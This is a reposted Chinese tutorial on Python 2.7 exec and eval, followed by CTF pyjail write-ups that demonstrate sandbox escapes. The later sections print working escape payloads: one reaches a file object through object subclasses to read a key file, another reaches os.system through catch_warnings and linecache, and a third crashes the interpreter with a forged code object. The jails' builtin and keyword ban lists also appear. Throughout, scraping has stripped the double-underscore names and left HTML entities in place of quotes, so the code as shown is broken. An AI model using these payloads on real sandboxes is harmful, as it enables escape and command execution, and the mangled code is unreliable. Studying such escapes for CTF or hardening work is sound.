首页 > 后端开发 > Python教程 > 分析Python沙箱逃逸问题

分析Python沙箱逃逸问题

高洛峰
发布: 2017-03-15 13:14:12
原创
3051 人浏览过

[TOC]
(基于 Python 2.7)
在解决 Python 沙箱逃逸这个问题之前,需要先了解 Python 中的一些语法细节。如果已经了解了eval函数的使用方法,就可以跳过第一和第二部分,直接看 3x00 吧。

0x00 表达式的执行

用执行某个表达式的内容,可以使用 execeval 来进行。

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]
登录后复制

其中,["in" expression ["," expression]]是可选表达式。

1,对代码/字符串进行操作

exec "x = 1+1"
print x
#result:
#2
登录后复制
exec "x = 'a' + '42'"
print x
#result:
#a42
登录后复制

也可以执行多行代码,用三个引号括起来就可以:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a
登录后复制

2,文件操作

execfile

一方面可以使用 execfile,它的作用是执行这个文件的内容

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
登录后复制
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')
登录后复制

pytest.py的输出结果为:

Gou Li Guo Jia Sheng Si Yi
登录后复制

execfile执行了pytest.txt里的内容,注意是执行而非读取,如果pytest.txt中的内容是'Gou Li Guo Jia Sheng Si Yi',那么将不会得到任何输出。
当然,执行一个 .py 文件也是可以的。而执行 .txt 文件的要求是,txt 文件中的内容是 ASCII 。最好还是执行一个 .py 文件而非 txt 文件。

这种执行其实是将 execfile 所指向的文件的内容直接 copy 过去。
例如:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年,听取蛤声一片'
登录后复制
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a
登录后复制

此时,pytest 的结果为:

稻花香里说丰年,听取蛤声一片
2
登录后复制

其实就是完全地执行一遍文件里的内容……而不是当做函数调用来执行。

直接使用 exec 进行操作

直接使用 exec ,也是执行文件的内容,但是可以使用 in 表达式来使用 Global 变量域。

#C:\Users\Think\Desktop\test1.txt
print poetry
登录后复制
#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result
登录后复制

3,tuple 的使用

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b
登录后复制

输出结果为

111
登录后复制

exec 的 globals / locals 参数的使用方法

exec支持两个可选参数,不支持关键字指定参数。
Python 采用的是静态作用域(词法作用域)规则,类似于 C++,在该函数内该变量可用,在函数外不可用。
在 Pascal 语言中,采用的是动态作用域,也就是说,一旦函数被执行,该变量就会存在。例如,在函数 g 当中套了个函数 f,程序执行到f时,会在f中寻找表达式中的变量,如果找不到,就往外层找,此时g中若存在这个变量,则使用该变量,若不存在,继续向外逐层查找。
需要注意的是, exec是语法声明(statement),而非函数(function),而execfile 是函数
原因如下:
exec中直接打印外部变量:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456
登录后复制

在函数中打印外部变量:

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果:
#NameError: global name 'tup' is not defined
登录后复制

LEGB 规则

exec 中的 globals 参数

exec_stmt:    "exec" expression ["in" expression ["," expression]]
登录后复制

globalsdict 对象,它指定了 exec 中需要的全局变量。

  • globlas等价于globals()

  • locals等价于globals参数的值

1,globals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果:
#43 42
登录后复制

在段代码中,exec中的值是locals,它来源于指定的k,即globals.
并且,globals 取于全局变量,作用于全局变量

2,locals

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果:
#101
登录后复制

比较:

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果:
#101
登录后复制

可以看到,相对于exec来说,其内部具有三个变量,即 age,b,a
在制定之后,b 来自 g (global),而 a 来自自定的 local 变量。
由此可见,local 取于局部变量,作用于局部变量
为了验证这一结论,对稍加修改:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#结果:
#101
# print g['a']
#KeyError: 'a'
登录后复制

可以看到,a并没有作用于字典 g(全局的),而上面第一小节提到的globals中,键值a已经填入了全局的字典g.

exec 使用结论

可以做出以下结论
我们将exec之后包括的内容分为三个部分:p1、p2、p3

exec ("""p1""",p2,p3)
登录后复制
  1. 第一部分 p1,其中的内容是,就是要执行的内容;

  2. 第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3p1中的结果会传回全局变量;

  3. 第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。

exec 反汇编

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)
登录后复制
# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE
登录后复制
#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)
登录后复制
#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
登录后复制

指令解释在这里:http://www.php.cn/
简要说明下,TOStop-of-stack,就是栈顶。
LOAD_CONST是入栈,RETURN_VALUE 是还原esp
其中两者的不同之处在于:

# use `exec` disassembly
6 DUP_TOP             #复制栈顶指针
7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
登录后复制

也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。

0x02 eval

eval用以动态执行其后的代码,并返回执行后得到的值。

eval(expression[, globals[, locals]])
登录后复制

eval也有两个可选参数,即 globalslocals
使用如下:

print eval("1+1")
#result:
#2
登录后复制

eval 的 globals / locals 参数的使用方法

1,globals
类似于 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2
登录后复制

2,locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44
登录后复制

eval反汇编

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)
登录后复制
#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE
登录后复制

比较:

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)
登录后复制
#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
登录后复制

同样是建栈之后执行。

1x00 exec 和 eval 的区别

exec无返回值:

exec ("print 1+1")
#result:
#2
登录后复制

如果改成

print exec("1+1")
登录后复制

这就会因为没有返回值(不存在该变量而报错)。
eval 是有返回值的:

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax
登录后复制

如果想要打印,则必须在 eval之前使用print
但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?

1x01确定RETURN_VALUE来源

为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)
登录后复制
3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE
登录后复制

对比eval的:

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)
登录后复制
  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE
登录后复制

对比 evalexec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE,很明显可以看出并非evalexec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
可以写段不包含这两者的代码来验证:

import dis
def no():
    a = 1+1

dis.dis(no)
登录后复制
  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
登录后复制

所以,RETURN_VALUE是每个程序正常运行时就有的。

2x00 eval 的危险性

2x01 先期知识

在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:

>>> import('os').system('dir')
登录后复制

或者:

>>> import os
>>> os.system('dir')
登录后复制

也可以达到这个目的。
这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s
登录后复制

如果有一个功能,设计为执行用户所输入的内容,如

print eval("input()")
登录后复制

此时用户输入1+1,那么会得到返回值 2。若前述的

os.system('dir')
登录后复制

则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
然而,可以自己导入这个模块嘛。

import('os').system('dir')
登录后复制

这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:

>>> dir('builtins')
['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
登录后复制

这样,就可以写成:

eval("input()",{'builtins':{}})
登录后复制

就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如:

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)
登录后复制

但是这种情况下builtionsbuitin的引用依然有效。

s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().class.bases[0].subclasses() 
            if c.name == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'builtins':{}})
登录后复制

(来自:http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>,要通过

().class.bases[0]
登录后复制

bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.

lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object
这是一种情形。总的来说,就是跑一个通过object假的bytecodes.

从上述情况来看,eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一题

这是一道 CTF 题目,只给了这个:

def make_secure():
    UNSAFE = [&#39;open&#39;,
              &#39;file&#39;,
              &#39;execfile&#39;,
              &#39;compile&#39;,
              &#39;reload&#39;,
              &#39;import&#39;,
              &#39;eval&#39;,
              &#39;input&#39;]
    for func in UNSAFE:
        del builtins.dict[func]

from re import findall
# Remove dangerous builtins
make_secure()
print &#39;Go Ahead, Expoit me >;D&#39;

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall(&#39;\S+&#39;, raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec &#39;a=&#39; + inp
        print &#39;Return Value:&#39;, a
    except Exception, e:
    print &#39;Exception:&#39;, e
登录后复制

make_secure这个模块很好理解,看看下边的:

from re import findall
登录后复制

这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:

from re import findall

inp = findall(&#39;\S+&#39;,raw_input())[0]
a = None
exec &#39;a = &#39; +inp
print &#39;Return Value:&#39;,a
登录后复制

运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用

().class.bases[0].subclasses()
登录后复制

在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。

().class.bases[0].subclasses()[40]("./key").read()
登录后复制

第二题

#!/usr/bin/env python 
from future import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = builtins.dict.keys()  
targets.remove(&#39;raw_input&#39;)  
targets.remove(&#39;print&#39;)  
for x in targets:  
    del builtins.dict[x]
 
while 1:  
    print(">>>", end=&#39; &#39;)
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data
登录后复制
[x for x in [].class.base.subclasses() if x.name == &#39;catch_warnings&#39;][0].init.func_globals[&#39;linecache&#39;].dict[&#39;o&#39;+&#39;s&#39;].dict[&#39;sy&#39;+&#39;stem&#39;](&#39;echo Hello SandBox&#39;)
登录后复制

4x00 blue-lotus MISC - pyjail Writeup

给了这个:

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = [&#39;open&#39;,
    &#39;file&#39;,
    &#39;execfile&#39;,
    &#39;compile&#39;,
    &#39;reload&#39;,
    &#39;import&#39;,
    &#39;eval&#39;,
    &#39;input&#39;] ## block objet?
    for func in UNSAFE_BUILTINS:
        del builtins.dict[func]

from re import findall
del_unsafe()

print &#39;Give me your command!&#39;
while True:
    try:
        inp = findall(&#39;\S+&#39;, raw_input())[0]
        print "inp=", inp
        a = None
        exec &#39;a=&#39; + inp
        print &#39;Return Value:&#39;, a
    except Exception, e:
        print &#39;Exception:&#39;, e
登录后复制

比较一下和上边的第一题有什么不同,答案是……并没有什么不同……

以上是分析Python沙箱逃逸问题的详细内容。更多信息请关注PHP中文网其他相关文章!

相关标签:
来源:php.cn
本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板